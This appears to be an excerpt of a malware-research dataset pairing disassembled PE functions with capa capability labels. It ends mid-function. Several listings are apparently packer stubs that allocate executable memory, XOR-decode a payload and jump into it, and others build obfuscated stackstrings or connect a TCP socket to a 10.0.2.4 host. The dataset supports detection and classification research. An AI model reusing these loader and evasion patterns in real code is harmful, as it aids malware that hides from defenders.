joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40ce09
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x422234]
jne 0x40ce13
repz ret
jmp fcn.00413639

Function at 0x413b7e
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004104e0
and dword [ebp - 4], 0
cmp dword [0x423e1c], 0
mov ebx, eax
jne 0x413c2f
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x413ce0
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x413ce0
push eax
call fcn.0041046e
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x423e1c], eax
call esi
push eax
call fcn.0041046e
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x423e20], eax
call esi
push eax
call fcn.0041046e
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x423e24], eax
call esi
push eax
call fcn.0041046e
pop ecx
mov dword [0x423e2c], eax
test eax, eax
je 0x413c2f
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0041046e
pop ecx
mov dword [0x423e28], eax
mov eax, dword [0x423e28]
cmp eax, ebx
je 0x413c87
cmp dword [0x423e2c], ebx
je 0x413c87
push eax
call fcn.004104e9
push dword [0x423e2c]
mov esi, eax
call fcn.004104e9
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x413c87
test edi, edi
je 0x413c87
call esi
test eax, eax
je 0x413c7e
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x413c7e
test byte [ebp - 0xc], 1
jne 0x413c87
or dword [ebp + 0x10], 0x200000
jmp 0x413cc0
mov eax, dword [0x423e20]
cmp eax, ebx
je 0x413cc0
push eax
call fcn.004104e9
pop ecx
test eax, eax
je 0x413cc0
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x413cc0
mov eax, dword [0x423e24]
cmp eax, ebx
je 0x413cc0
push eax
call fcn.004104e9
pop ecx
test eax, eax
je 0x413cc0
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x423e1c]
call fcn.004104e9
pop ecx
test eax, eax
je 0x413ce0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x413ce2
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
nop
nop
nop
nop
pop eax
nop
add eax, 0x40a063
nop
nop
sub eax, 0x40a009
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x433030
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x1000b197
Capabilities:
Parse pe header

Disassembly:
push esi
mov esi, ecx
test si, si
jne 0x1000b24c
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x1000b24c
mov edx, dword [esi + 0x3c]
test dl, 3
jne 0x1000b24c
cmp dword [edx + esi], 0x4550
jne 0x1000b24c
cmp dword [edx + esi + 0x74], 6
jb 0x1000b24c
push ebx
mov ebx, dword [edx + esi + 0x50]
push edi
mov edi, dword [edx + esi + 0xa8]
lea eax, [ebx - 1]
lea ecx, [edi - 1]
cmp ecx, eax
jae 0x1000b24a
mov eax, dword [edx + esi + 0xac]
mov ecx, ebx
sub ecx, edi
cmp eax, ecx
ja 0x1000b24a
xor edx, edx
add edi, esi
push 0x1c
pop ecx
div ecx
mov edx, eax
test edx, edx
je 0x1000b24a
imul ecx, edx, 0x1c
add ecx, 0x14
add ecx, edi
lea ecx, [ecx - 0x1c]
dec edx
cmp dword [ecx - 8], 2
lea edi, [ecx - 0x14]
jne 0x1000b228
cmp dword [ecx], ebx
jae 0x1000b228
mov eax, ebx
sub eax, dword [ecx]
cmp dword [ecx - 4], eax
jbe 0x1000b22e
test edx, edx
jne 0x1000b20e
jmp 0x1000b24a
push 0x1c
push edi
call dword [sym.imp.kernel32.dll_VirtualLock]
test eax, eax
je 0x1000b24a
mov eax, dword [edi + 0x14]
push dword [edi + 0x10]
add eax, esi
push eax
call dword [sym.imp.kernel32.dll_VirtualLock]
pop edi
pop ebx
pop esi
ret

Function at 0x1000c446
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x1000c455
pop dword [ebp - 0x20]
mov eax, 0x48fccd9
sub eax, 0xf48f0884
sub dword [ebp - 0x20], eax
push 0x40
push 0x1000
push 0x3679d
push 0
mov eax, 0xa70384e0
sub eax, 0x9702447c
add eax, dword [ebp - 0x20]
call dword [eax]
mov ecx, 0xb9629521
add ecx, 0x469da8df
mov edx, eax
mov edi, 0xfd91245e
add edi, 0x127061a2
add edi, dword [ebp - 0x20]
mov esi, 0xd1cf61c2
add esi, 0x321cde70
mov ebx, dword [edi]
sub dword [ebp - 0xc], edx
xor ebx, esi
mov dword [ebp - 0xc], 0x4f343511
mov dword [edx], ebx
add dword [ebp - 0x14], 0xbeb90d26
add edx, 0xdc7931cd
add edx, 0x2386ce37
add edi, 4
loop 0x1000c4b4
add eax, 0x6131f421
sub eax, 0x6131094e
xor ebx, ebx
add ebx, eax
add eax, 0x1558429
sub eax, 0x1558424
mov ecx, 0xf005537b
add ecx, 0x1ffaac85
add ecx, dword [ebp - 0x20]
call ebx
leave
ret
Function at 0x4025e6
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [0x40d050]
test eax, eax
je 0x402625
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x402625
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x402625
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x402625
cmp dword [ecx + 0x74], 0xe
jbe 0x402625
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x40cc10
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40cc3d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40cc3d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub esp, 0x1c
xor eax, eax
cmp word [0x400000], 0x5a4d
mov dword [0x40d058], 1
mov dword [0x40d054], 1
mov dword [0x40d050], 1
jne 0x401056
mov edx, dword [0x40003c]
cmp dword [edx + 0x400000], 0x4550
lea ecx, [edx + 0x400000]
je 0x4010b0
mov dword [0x40d00c], eax
mov eax, dword [0x40d064]
test eax, eax
je 0x4010a0
mov dword [esp], 2
call sym.___set_app_type
call sym.___p__fmode
mov edx, dword [0x40d078]
mov dword [eax], edx
call sym.___p__commode
mov edx, dword [0x40d060]
mov dword [eax], edx
call dbg._setargv
cmp dword [0x409014], 1
je 0x4010e0
xor eax, eax
add esp, 0x1c
ret
mov dword [esp], 1
call sym.___set_app_type
jmp 0x401070
movzx edx, word [ecx + 0x18]
cmp dx, 0x10b
je 0x4010f8
cmp dx, 0x20b
jne 0x401056
cmp dword [ecx + 0x84], 0xe
jbe 0x401056
mov edx, dword [ecx + 0xf8]
xor eax, eax
test edx, edx
setne al
jmp 0x401056
mov dword [esp], dbg._matherr
call dbg.__mingw_setusermatherr
xor eax, eax
add esp, 0x1c
ret
cmp dword [ecx + 0x74], 0xe
jbe 0x401056
mov ecx, dword [ecx + 0xe8]
xor eax, eax
test ecx, ecx
setne al
jmp 0x401056

Function at 0x40180c
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
mov dword [esp], 0
call sym._time
mov dword [esp], eax
call sym._srand
mov dword [ebp - 0x4f], 0x73465367
mov dword [ebp - 0x4b], 0x4e704f56
mov dword [ebp - 0x47], 0x72523739
mov dword [ebp - 0x43], 0x55474b45
mov dword [ebp - 0x3f], 0x78353032
mov dword [ebp - 0x3b], 0x44797436
mov dword [ebp - 0x37], 0x4c656b64
mov dword [ebp - 0x33], 0x426a3831
mov dword [ebp - 0x2f], 0x33764875
mov dword [ebp - 0x2b], 0x34636f71
mov dword [ebp - 0x27], 0x664a5a6e
mov dword [ebp - 0x23], 0x68594958
mov dword [ebp - 0x1f], 0x51576c77
mov dword [ebp - 0x1b], 0x696d4d54
mov dword [ebp - 0x17], 0x437a4161
mov dword [ebp - 0x14], 0x506243
mov dword [esp], 5
call main
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
add eax, 4
mov byte [eax], 0
mov dword [ebp - 0xc], 0
jmp 0x4018e8
call sym._rand
mov ecx, eax
mov eax, ecx
shr eax, 1
mov edx, 0x84210843
mul edx
mov eax, edx
shr eax, 4
imul edx, eax, 0x3e
mov eax, ecx
sub eax, edx
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x10]
add edx, ecx
movzx eax, byte [ebp + eax - 0x4f]
mov byte [edx], al
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 2
jle 0x4018b7
mov dword [ebp - 0xc], 0
jmp 0x401923
mov eax, dword [ebp - 0x10]
lea edx, [eax + 3]
lea ecx, [ebp - 0x4f]
mov eax, dword [ebp - 0xc]
add eax, ecx
movzx eax, byte [eax]
mov byte [edx], al
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._cZfzfgrJnfY
cmp eax, 0x5c
jne 0x40191f
mov eax, dword [ebp - 0x10]
jmp 0x40192d
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0xc]
cmp eax, 0x3e
jbe 0x4018f7
jmp 0x4018ae
leave
ret
Function at 0x40192f
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push edi
push ebx
mov eax, 0x19e0
call fcn.00402cc0
sub esp, eax
mov dword [ebp - 0x19cd], 0x6d474f63
mov dword [ebp - 0x19c9], 0x50794852
mov dword [ebp - 0x19c5], 0x744f4a66
mov dword [ebp - 0x19c1], 0x7359644d
mov dword [ebp - 0x19bd], 0x624a5454
mov dword [ebp - 0x19b9], 0x6b457353
mov dword [ebp - 0x19b5], 0x4f754d4a
mov dword [ebp - 0x19b1], 0x61464871
mov dword [ebp - 0x19ad], 0x41536350
mov dword [ebp - 0x19a9], 0x55777575
mov dword [ebp - 0x19a5], 0x50554e6a
mov dword [ebp - 0x19a1], 0x437a7a7a
mov dword [ebp - 0x199d], 0x7361
lea eax, [ebp - 0x1999]
mov ecx, 0x198d
mov ebx, 0
mov dword [eax], ebx
mov dword [eax + ecx - 4], ebx
lea edx, [eax + 4]
and edx, 0xfffffffc
sub eax, edx
add ecx, eax
and ecx, 0xfffffffc
shr ecx, 2
mov edi, edx
mov eax, ebx
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x19cd]
mov dword [esp], eax
call sym._strupr
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._strlwr
add esp, 0x19e0
pop ebx
pop edi
pop ebp
ret

Function at 0x401a14
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], 2
mov eax, dword [sym.imp.WSOCK32.DLL_socket]
call eax
sub esp, 0xc
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x401a4f
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._LYANKjefjWp
mov dword [esp], str.10.0.2.4
mov eax, dword [sym.imp.WSOCK32.DLL_gethostbyname]
call eax
sub esp, 4
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x401a74
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._LYANKjefjWp
mov eax, dword [ebp - 0x10]
movzx eax, word [eax + 0xa]
movsx edx, ax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
lea eax, [ebp - 0x20]
add eax, 4
mov dword [esp], eax
call sym._memcpy
mov word [ebp - 0x20], 2
mov dword [esp], 0x1f90
mov eax, dword [sym.imp.WSOCK32.DLL_htons]
call eax
sub esp, 4
mov word [ebp - 0x1e], ax
mov dword [esp + 8], 0x10
lea eax, [ebp - 0x20]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WSOCK32.DLL_connect]
call eax
sub esp, 0xc
test eax, eax
je 0x401ae5
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._LYANKjefjWp
mov eax, dword [ebp - 0xc]
leave
ret
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCR71.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x4031f4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x403203
pop dword [ebp - 0x40]
mov eax, 0x90e89c4
sub eax, 0x8ce57c1
sub dword [ebp - 0x40], eax
mov dword [ebp - 0x50], 0xf1d08683
add dword [ebp - 0x50], 0x5c81bec8
mov dword [ebp - 0x4c], 0x905aa59b
sub dword [ebp - 0x4c], 0x5e275956
mov dword [ebp - 0x48], 0x81978f33
add dword [ebp - 0x48], 0xcab4b4fb
mov dword [ebp - 0x44], 0x7b4be3e3
add dword [ebp - 0x44], 0x84b41c1d
lea eax, [ebp - 0x50]
push eax
mov eax, 0x3c5e1272
sub eax, 0x3c1d91e6
add eax, dword [ebp - 0x40]
call dword [eax]
mov dword [ebp - 0x50], 0xac19bd7
sub dword [ebp - 0x50], 0x964f3281
mov dword [ebp - 0x4c], 0xf40e2f20
sub dword [ebp - 0x4c], 0xb2a1cdab
mov dword [ebp - 0x48], 0xefa579ea
sub dword [ebp - 0x48], 0x8c360d7e
mov dword [ebp - 0x44], 0xea4fea8c
add dword [ebp - 0x44], 0x15b01574
lea ebx, [ebp - 0x50]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x40]
call dword [eax]
push 0x40
push 0x1000
push 0x395d5
push 0
call eax
mov ecx, 0x5315
mov esi, eax
mov edi, 0x2dd5e17d
sub edi, 0x2d94d17d
add edi, dword [ebp - 0x40]
mov ebx, 0x75231213
sub ebx, 0xb67c71aa
mov dword [ebp - 0x24], 0xf31c6f59
mov edx, dword [edi]
xor dword [ebp - 0x3c], 0x3e44734c
sub edx, ebx
add dword [ebp - 0x20], edi
mov dword [esi], edx
xor dword [ebp - 0x1c], 0xa08853f5
add esi, 0x858baaab
sub esi, 0x858baaa7
add edi, 0xa01bd1a
add edi, 0xf5fe42ea
loop 0x40331a
add eax, 0x4e3bb16e
add eax, 0xb1c58db9
mov ebx, eax
add eax, 0x898fa197
sub eax, 0x898fa192
mov ecx, 0x400000
add ecx, dword [ebp - 0x40]
call ebx
leave
ret
Function at 0x1001784a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x10017859
pop dword [ebp - 0x18]
mov eax, 0x10017859
sub dword [ebp - 0x18], eax
mov dword [ebp - 0x28], 0xa339a6ab
add dword [ebp - 0x28], 0xab189ea0
mov dword [ebp - 0x24], 0xb42cdd64
sub dword [ebp - 0x24], 0x81f9911f
mov dword [ebp - 0x20], 0xbde1710b
add dword [ebp - 0x20], 0x8e6ad323
mov dword [ebp - 0x1c], 0x68829e11
sub dword [ebp - 0x1c], 0x68829e11
lea eax, [ebp - 0x28]
push eax
mov eax, 0xad58701c
sub eax, 0x9d56d014
add eax, dword [ebp - 0x18]
call dword [eax]
mov dword [ebp - 0x28], 0x53938805
sub dword [ebp - 0x28], 0xdf211eaf
mov dword [ebp - 0x24], 0x5793c684
add dword [ebp - 0x24], 0xe9d89af1
mov dword [ebp - 0x20], 0xe71d1b7f
sub dword [ebp - 0x20], 0x83adaf13
mov dword [ebp - 0x1c], 0xf1fbb8c
sub dword [ebp - 0x1c], 0xf1fbb8c
lea ebx, [ebp - 0x28]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x18]
call dword [eax]
push 0x40
push 0x1000
push 0x3b62a
push 0
call eax
mov ecx, 0x307cbbe7
sub ecx, 0x307c6f7e
mov edx, eax
mov ebx, 0xfd9a039c
add ebx, 0x12684664
add ebx, dword [ebp - 0x18]
mov esi, 0x3ebabd4e
add dword [ebp - 4], 0x43031656
mov edi, dword [ebx]
sub dword [ebp - 4], esi
sub edi, esi
xor dword [ebp - 0x10], eax
mov dword [edx], edi
sub dword [ebp - 0x14], edx
add edx, 4
add ebx, 0xb5659ed
sub ebx, 0xb5659e9
loop 0x1001796b
add eax, 0x12477
mov ebx, eax
add eax, 5
mov ecx, 0x5233aab
add ecx, 0xadcc555
add ecx, dword [ebp - 0x18]
call ebx
leave
ret
Function at 0x10013074
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x10013083
pop dword [ebp - 0xc]
mov eax, 0xb342699
sub eax, 0xfb32f616
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0x5127a4f3
add dword [ebp - 0x1c], 0xfd2aa058
mov dword [ebp - 0x18], 0x6814d9ca
add dword [ebp - 0x18], 0xca1e727b
mov dword [ebp - 0x14], 0x7102d65e
add dword [ebp - 0x14], 0xdb496dd0
mov dword [ebp - 0x10], 0xffe7bd54
add dword [ebp - 0x10], 0x1842ac
lea eax, [ebp - 0x1c]
push eax
mov eax, 0x36d97b8b
add eax, 0xd927d50d
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0x50cf54d9
add dword [ebp - 0x1c], 0x23a3147d
mov dword [ebp - 0x18], 0x43ac469b
sub dword [ebp - 0x18], 0x23fe526
mov dword [ebp - 0x14], 0xb2e41892
sub dword [ebp - 0x14], 0x4f74ac26
mov dword [ebp - 0x10], 0x5dcbf7be
add dword [ebp - 0x10], 0xa2340842
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, 0xa2f9c040
sub eax, 0x92f86fa4
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x380fc
push 0
call eax
mov ecx, 0x5cae560b
sub ecx, 0x5cae1058
xor edx, edx
add edx, eax
mov esi, 0x54bdb37a
sub esi, 0x44b9977a
add esi, dword [ebp - 0xc]
mov ebx, 0x422353b1
add dword [ebp - 4], ebx
mov edi, dword [esi]
xor dword [ebp - 4], 0xf3ab5e39
sub edi, ebx
sub dword [ebp - 4], esi
mov dword [edx], edi
add dword [ebp - 4], esi
add edx, 4
add esi, 0x20dba992
sub esi, 0x20dba98e
loop 0x100131a1
add eax, 0x1099f
mov ebx, eax
add eax, 0xed08996f
sub eax, 0xed08996a
mov ecx, 0x10000000
add ecx, dword [ebp - 0xc]
call ebx
leave
ret
Function at 0x406106
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x406115
pop dword [ebp - 0x30]
mov eax, 0x406115
sub dword [ebp - 0x30], eax
mov dword [ebp - 0x40], 0xad628edc
sub dword [ebp - 0x40], 0x5f104991
mov dword [ebp - 0x3c], 0x38a0bc36
sub dword [ebp - 0x3c], 0x66d6ff1
mov dword [ebp - 0x38], 0x894dfbee
sub dword [ebp - 0x38], 0x3d01b7c0
mov dword [ebp - 0x34], 0x80a9d682
add dword [ebp - 0x34], 0x7f56297e
lea eax, [ebp - 0x40]
push eax
mov eax, 0x88c5e51e
sub eax, 0x8885641a
add eax, dword [ebp - 0x30]
call dword [eax]
mov dword [ebp - 0x40], 0xca2d9444
sub dword [ebp - 0x40], 0x55bb2aee
mov dword [ebp - 0x3c], 0xd27712f
sub dword [ebp - 0x3c], 0xcbbb0fba
mov dword [ebp - 0x38], 0x3095afba
sub dword [ebp - 0x38], 0xcd26434e
mov dword [ebp - 0x34], 0x26546e59
sub dword [ebp - 0x34], 0x26546e59
lea ebx, [ebp - 0x40]
push ebx
push eax
mov eax, 0x812320cc
sub eax, 0x80e29fcc
add eax, dword [ebp - 0x30]
call dword [eax]
push 0x40
push 0x1000
push 0x37d57
push 0
call eax
mov ecx, 0xf35d9a31
add ecx, 0xca2b11c
xor ebx, ebx
add ebx, eax
mov edx, 0x450400
add edx, dword [ebp - 0x30]
mov edi, 0x39a673c0
sub edi, 0x788c0234
sub dword [ebp - 0x1c], ecx
mov esi, dword [edx]
sub dword [ebp - 8], ecx
xor esi, edi
sub dword [ebp - 0x20], eax
mov dword [ebx], esi
add ebx, 4
add edx, 0x4e1e9f27
add edx, 0xb1e160dd
loop 0x40622e
add eax, 0x12007
mov ebx, eax
add eax, 0x8e1c6578
sub eax, 0x8e1c6573
mov ecx, 0x400000
add ecx, dword [ebp - 0x30]
call ebx
leave
ret

Function at 0x40656f
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x4318ec], 0
push esi
jne 0x4065a6
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406580
mov dword [ecx*4 + 0x4318e8], eax
inc ecx
cmp ecx, 0x100
jl 0x40657b
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x4065d7
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x4318e8]
xor eax, esi
inc ecx
dec edx
jne 0x4065b9
pop edi
not eax
pop esi
ret 0xc
Function at 0x408476
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x408485
pop dword [ebp - 0xc]
mov eax, 0x25d817c9
sub eax, 0x25979344
sub dword [ebp - 0xc], eax
push 0x40
push 0x1000
push 0x51aff
push 0
mov eax, 0x81923ed3
add eax, 0x7eb273e9
add eax, dword [ebp - 0xc]
call dword [eax]
mov ecx, 0x942fcfc3
sub ecx, 0x942f813f
xor esi, esi
add esi, eax
mov edi, 0xb94a9150
add edi, 0x46fdecb0
add edi, dword [ebp - 0xc]
mov ebx, 0xe3e502ae
sub ebx, 0xa457e8b8
xor dword [ebp - 4], eax
mov edx, dword [edi]
xor dword [ebp - 4], ebx
xor edx, ebx
mov dword [ebp - 4], 0x14c221b
mov dword [esi], edx
mov dword [ebp - 4], 0xb94b83bb
add esi, 0xf695e04b
sub esi, 0xf695e047
add edi, 4
loop 0x4084e6
add eax, 0x72d5df9a
sub eax, 0x72d4b2b7
xor ebx, ebx
add ebx, eax
add eax, 0x3a232997
sub eax, 0x3a232992
mov ecx, 0x50cd51f8
add ecx, 0xaf72ae08
add ecx, dword [ebp - 0xc]
call ebx
leave
ret

Function at 0x43fcae
Capabilities:
Encrypt data using dpapi

Disassembly:
push esi
push edi
push 0x46b5d8
push str.AdvApi32.dll
call main
mov edi, dword [sym.imp.kernel32.dll_GetProcAddress]
mov esi, eax
test esi, esi
js 0x43fcf1
push str.SystemFunction040
push dword [0x46b5d8]
call edi
push str.SystemFunction041
push dword [0x46b5d8]
mov dword [0x46b5e0], eax
call edi
mov dword [0x46b5e4], eax
jmp 0x43fcf6
mov eax, dword [0x46b5e4]
cmp dword [0x46b5e0], 0
je 0x43fd07
test eax, eax
jne 0x43fdae
push 0x46b5dc
push str.Crypt32.dll
call main
mov esi, eax
test esi, esi
js 0x43fdb8
push str.CryptProtectMemory
push dword [0x46b5dc]
call edi
cmp dword [0x46b5e0], 0
mov dword [0x46b5e8], eax
jne 0x43fd6c
test eax, eax
jne 0x43fd6c
call dword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x43fd56
movzx esi, si
or esi, 0x80070000
test esi, esi
js 0x43fd5d
mov esi, 0x80004005
push esi
push 0x28
push str.cryputil.cpp
call fcn.00403821
jmp 0x43fdb8
push str.CryptUnprotectMemory
push dword [0x46b5dc]
call edi
cmp dword [0x46b5e4], 0
mov dword [0x46b5ec], eax
jne 0x43fdae
test eax, eax
jne 0x43fdae
call dword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x43fda2
movzx esi, si
or esi, 0x80070000
test esi, esi
js 0x43fda9
mov esi, 0x80004005
push esi
push 0x2d
jmp 0x43fd60
mov dword [0x46b5f0], 1
pop edi
mov eax, esi
pop esi
ret
Function at 0x40e145
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x40e154
pop dword [ebp - 0x24]
mov eax, 0x40e154
sub dword [ebp - 0x24], eax
push 0x40
push 0x1000
push 0x3ecd5
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x24]
call dword [eax]
mov ecx, 0xb235ab64
sub ecx, 0xb2355f91
xor edi, edi
add edi, eax
mov ebx, 0x435400
add ebx, dword [ebp - 0x24]
mov esi, 0x3d26c55d
xor dword [ebp - 0x1c], 0xc7306014
mov edx, dword [ebx]
add dword [ebp - 0x20], 0x35818e03
xor edx, esi
add dword [ebp - 0x20], 0xfcea6ffd
mov dword [edi], edx
add edi, 4
add ebx, 0x4591aa95
add ebx, 0xba6e556f
loop 0x40e19f
add eax, 0x7d6b5dc8
add eax, 0x8295c457
mov ebx, eax
add eax, 0x2fdf8b37
sub eax, 0x2fdf8b32
mov ecx, 0xddd624bc
sub ecx, 0xdd9624bc
add ecx, dword [ebp - 0x24]
call ebx
leave
ret
Function at 0x1000e1bc
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x1000e1cb
pop dword [ebp - 0x34]
mov eax, 0xc763bae5
add eax, 0x489d26e6
sub dword [ebp - 0x34], eax
push 0x40
push 0x1000
push 0x393f9
push 0
mov eax, 0xdc62675b
sub eax, 0xcc6126f7
add eax, dword [ebp - 0x34]
call dword [eax]
mov ecx, 0x48f8
xor edi, edi
add edi, eax
mov ebx, 0x4c5103a
add ebx, 0xb3c75c6
add ebx, dword [ebp - 0x34]
mov edx, 0x52887a32
sub edx, 0xdb066996
xor dword [ebp - 0x2c], edi
mov esi, dword [ebx]
sub dword [ebp - 8], 0x9b908a72
xor esi, edx
mov dword [ebp - 0x1c], 0x475b397d
mov dword [edi], esi
add dword [ebp - 0x2c], 0xfb711da2
add edi, 4
add ebx, 0xa2b66f9b
add ebx, 0x5d499069
loop 0x1000e226
add eax, 0x116b3
mov ebx, eax
add eax, 0xc36bb328
add eax, 0x3c944cdd
mov ecx, 0x10000000
add ecx, dword [ebp - 0x34]
call ebx
leave
ret
Function at 0x4681ec
Capabilities:
Get common file path
Set current directory

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00468063

Function at 0x1002195
Capabilities:
Terminate process

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0xf0
push 4
call fcn.010012b0
test eax, eax
pop ecx
je 0x10021b6
mov ecx, eax
call dword [sym.imp.ulib.dll_public:_void___thiscall_CLASS_DESCRIPTOR::constructor_void_]
jmp 0x10021b8
xor eax, eax
test eax, eax
mov dword [0x1004004], eax
je 0x10021c9
mov ecx, eax
call dword [sym.imp.ulib.dll_public:_unsigned_char___thiscall_CLASS_DESCRIPTOR::Initialize_void_]
lea ecx, [ebp - 0x78]
call fcn.010012ff
lea ecx, [ebp - 0x78]
call fcn.01001cd6
test al, al
je 0x10021ee
lea ecx, [ebp - 0x78]
call fcn.0100133e
test al, al
je 0x10021ee
push dword [ebp + 0x10]
jmp 0x10021f0
push 2
call dword [sym.imp.msvcrt.dll_exit]
int3

Function at 0x401c0e
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x401c4d
mov ecx, 0x5a4d
